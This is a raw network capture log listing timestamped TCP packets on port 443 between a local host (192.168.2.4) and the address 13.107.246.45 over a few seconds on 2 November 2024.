Nov 2, 2024 07:15:55.023380041 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.066692114 CET	63717	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.066716909 CET	443	63717	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.066781044 CET	63717	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.067661047 CET	63718	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.067678928 CET	443	63718	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.067732096 CET	63718	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.068034887 CET	63717	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.068047047 CET	443	63717	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.068121910 CET	63718	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.068133116 CET	443	63718	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.069250107 CET	63719	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.069257975 CET	443	63719	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.069300890 CET	63719	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.069443941 CET	63719	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.069456100 CET	443	63719	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.070172071 CET	63720	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.070241928 CET	443	63720	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.070290089 CET	63720	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.070691109 CET	63721	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.070719004 CET	443	63721	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.070765972 CET	63721	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.070811033 CET	63720	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.070846081 CET	443	63720	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.070873976 CET	63721	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.070884943 CET	443	63721	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.797635078 CET	443	63718	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.798121929 CET	63718	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.798144102 CET	443	63718	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.798559904 CET	63718	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.798566103 CET	443	63718	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.804761887 CET	443	63717	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.804975986 CET	63717	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.804991007 CET	443	63717	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.805274010 CET	63717	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.805279016 CET	443	63717	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.824033022 CET	443	63719	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.824892044 CET	63719	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.824898958 CET	443	63719	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.825447083 CET	63719	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.825452089 CET	443	63719	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.829866886 CET	443	63720	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.830311060 CET	63720	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.830328941 CET	443	63720	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.830940962 CET	63720	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.830945969 CET	443	63720	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.830984116 CET	443	63721	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.831415892 CET	63721	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.831435919 CET	443	63721	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.831739902 CET	63721	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.831743956 CET	443	63721	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.927295923 CET	443	63718	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.927376032 CET	443	63718	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.927424908 CET	63718	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.927656889 CET	63718	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.927670956 CET	443	63718	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.927681923 CET	63718	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.927685976 CET	443	63718	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.931113958 CET	63722	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.931135893 CET	443	63722	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.931190968 CET	63722	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.931512117 CET	63722	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.931523085 CET	443	63722	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.935980082 CET	443	63717	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.936006069 CET	443	63717	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.936050892 CET	63717	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.936064959 CET	443	63717	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.936075926 CET	443	63717	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.936094999 CET	63717	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.936115026 CET	63717	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.936156034 CET	63717	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.936165094 CET	443	63717	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.936172009 CET	63717	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.936176062 CET	443	63717	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.938041925 CET	63723	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.938060045 CET	443	63723	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.938112020 CET	63723	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.938304901 CET	63723	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.938314915 CET	443	63723	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.953178883 CET	443	63719	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.953228951 CET	443	63719	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.953277111 CET	63719	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.953284025 CET	443	63719	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.953320026 CET	63719	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.953366995 CET	443	63719	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.953411102 CET	63719	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.953661919 CET	63719	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.953668118 CET	443	63719	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.953675985 CET	63719	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.953679085 CET	443	63719	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.956396103 CET	63724	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.956419945 CET	443	63724	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.956468105 CET	63724	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.957252026 CET	63724	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.957262993 CET	443	63724	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.963906050 CET	443	63720	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.964067936 CET	443	63720	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.964116096 CET	63720	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.964173079 CET	63720	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.964173079 CET	63720	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.964196920 CET	443	63720	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.964220047 CET	443	63720	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.967392921 CET	63725	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.967499971 CET	443	63725	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.967564106 CET	63725	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.967706919 CET	443	63721	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.967722893 CET	443	63721	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.967761993 CET	63721	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.967770100 CET	443	63721	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.967820883 CET	443	63721	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.967859030 CET	63721	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.968588114 CET	63725	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.968626976 CET	443	63725	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.968650103 CET	63721	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.968657017 CET	443	63721	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.968664885 CET	63721	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.968668938 CET	443	63721	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.970823050 CET	63726	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.970834017 CET	443	63726	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.970881939 CET	63726	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.970989943 CET	63726	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.970994949 CET	443	63726	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.691199064 CET	443	63724	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.691418886 CET	443	63722	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.694144011 CET	63724	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.694164038 CET	443	63724	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.697405100 CET	63724	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.697410107 CET	443	63724	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.697637081 CET	63722	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.697679043 CET	443	63722	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.701056004 CET	63722	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.701075077 CET	443	63722	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.704660892 CET	443	63723	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.705174923 CET	443	63726	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.707778931 CET	63723	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.707798958 CET	443	63723	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.710972071 CET	63723	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.710975885 CET	443	63723	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.711044073 CET	63726	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.711055994 CET	443	63726	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.714245081 CET	63726	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.714250088 CET	443	63726	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.728866100 CET	443	63725	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.732963085 CET	63725	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.733028889 CET	443	63725	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.733297110 CET	63725	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.733314991 CET	443	63725	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.822832108 CET	443	63724	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.823101044 CET	443	63724	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.823182106 CET	63724	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.823201895 CET	63724	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.823215961 CET	443	63724	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.823227882 CET	63724	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.823234081 CET	443	63724	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.832045078 CET	443	63722	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.832161903 CET	443	63722	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.832245111 CET	63722	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.847492933 CET	443	63726	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.847554922 CET	443	63726	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.847656965 CET	63726	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.855556011 CET	63726	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.855562925 CET	443	63726	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.855571032 CET	63726	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.855575085 CET	443	63726	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.863131046 CET	443	63725	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.863311052 CET	443	63725	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.863379955 CET	63725	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.868814945 CET	63725	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.868840933 CET	443	63725	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.868855953 CET	63725	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.868863106 CET	443	63725	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.869555950 CET	63722	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.869555950 CET	63722	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.869590044 CET	443	63722	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.869617939 CET	443	63722	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.874176979 CET	63727	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.874200106 CET	443	63727	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.874279976 CET	63727	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.875500917 CET	63728	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.875521898 CET	443	63728	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.875647068 CET	63728	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.875855923 CET	63727	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.875871897 CET	443	63727	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.877701998 CET	63729	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.877743006 CET	443	63729	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.877963066 CET	63728	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.877974987 CET	443	63728	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.878010035 CET	63729	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.878057957 CET	63729	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.878074884 CET	443	63729	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.879133940 CET	63730	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.879141092 CET	443	63730	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.879237890 CET	63730	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.879342079 CET	63730	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.879349947 CET	443	63730	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.949233055 CET	443	63723	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.949301958 CET	443	63723	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:56.949363947 CET	63723	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.978430033 CET	63723	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:56.978435993 CET	443	63723	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.018107891 CET	63731	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.018140078 CET	443	63731	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.018213987 CET	63731	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.018408060 CET	63731	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.018435955 CET	443	63731	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.612198114 CET	443	63727	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.612843037 CET	63727	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.612900972 CET	443	63727	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.613420963 CET	443	63729	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.613693953 CET	63729	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.613733053 CET	443	63729	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.614170074 CET	63729	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.614187002 CET	443	63729	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.614213943 CET	63727	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.614229918 CET	443	63727	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.622257948 CET	443	63728	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.622610092 CET	443	63730	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.622651100 CET	63728	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.622662067 CET	443	63728	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.622829914 CET	63730	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.622838020 CET	443	63730	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.623195887 CET	63730	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.623199940 CET	443	63730	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.623862028 CET	63728	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.623864889 CET	443	63728	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.742569923 CET	443	63727	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.742614031 CET	443	63727	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.742676020 CET	63727	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.742830992 CET	63727	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.742831945 CET	63727	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.742863894 CET	443	63727	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.742886066 CET	443	63727	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.744400024 CET	443	63729	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.744499922 CET	443	63729	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.744563103 CET	63729	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.744663000 CET	63729	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.744663000 CET	63729	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.744694948 CET	443	63729	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.744718075 CET	443	63729	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.744772911 CET	443	63731	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.745919943 CET	63731	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.745949984 CET	443	63731	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.746685028 CET	63732	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.746727943 CET	443	63732	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.746792078 CET	63732	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.747128010 CET	63731	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.747138977 CET	443	63731	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.747385979 CET	63732	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.747414112 CET	443	63732	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.747421980 CET	63733	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.747447968 CET	443	63733	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.747498989 CET	63733	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.747608900 CET	63733	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.747617960 CET	443	63733	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.752343893 CET	443	63728	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.752578020 CET	443	63728	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.752636909 CET	63728	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.752651930 CET	63728	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.752660036 CET	443	63728	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.752666950 CET	63728	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.752671003 CET	443	63728	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.754316092 CET	63734	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.754336119 CET	443	63734	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.754414082 CET	63734	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.754514933 CET	63734	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.754525900 CET	443	63730	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.754534006 CET	443	63734	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.754746914 CET	443	63730	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.754793882 CET	63730	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.754821062 CET	63730	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.754823923 CET	443	63730	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.754832983 CET	63730	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.754836082 CET	443	63730	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.756314039 CET	63735	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.756326914 CET	443	63735	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.756393909 CET	63735	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.756501913 CET	63735	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.756509066 CET	443	63735	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.874337912 CET	443	63731	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.874492884 CET	443	63731	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.874552965 CET	63731	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.874733925 CET	63731	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.874733925 CET	63731	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.874775887 CET	443	63731	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.874803066 CET	443	63731	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.884743929 CET	63736	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.884795904 CET	443	63736	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:57.884866953 CET	63736	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.885385036 CET	63736	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:57.885401964 CET	443	63736	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.485548019 CET	443	63732	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.485970020 CET	63732	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.486046076 CET	443	63732	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.486372948 CET	63732	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.486390114 CET	443	63732	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.507397890 CET	443	63733	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.507731915 CET	63733	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.507750988 CET	443	63733	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.508143902 CET	63733	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.508147955 CET	443	63733	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.518342018 CET	443	63735	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.518582106 CET	63735	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.518594027 CET	443	63735	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.518909931 CET	63735	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.518913984 CET	443	63735	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.521750927 CET	443	63734	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.521970987 CET	63734	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.521991014 CET	443	63734	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.522290945 CET	63734	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.522301912 CET	443	63734	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.611375093 CET	443	63736	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.611804008 CET	63736	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.611824036 CET	443	63736	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.612204075 CET	63736	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.612209082 CET	443	63736	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.616374969 CET	443	63732	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.616597891 CET	443	63732	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.616662025 CET	63732	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.616712093 CET	63732	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.616712093 CET	63732	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.616745949 CET	443	63732	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.616770029 CET	443	63732	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.619018078 CET	63737	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.619044065 CET	443	63737	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.619256973 CET	63737	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.619256973 CET	63737	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.619281054 CET	443	63737	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.641413927 CET	443	63733	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.641670942 CET	443	63733	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.641726017 CET	63733	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.641753912 CET	63733	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.641765118 CET	443	63733	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.641772985 CET	63733	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.641777039 CET	443	63733	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.643448114 CET	63738	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.643472910 CET	443	63738	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.643537998 CET	63738	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.643651009 CET	63738	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:58.643665075 CET	443	63738	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:58.654570103 CET	443	63735	13.107.246.45	192.168.2.4
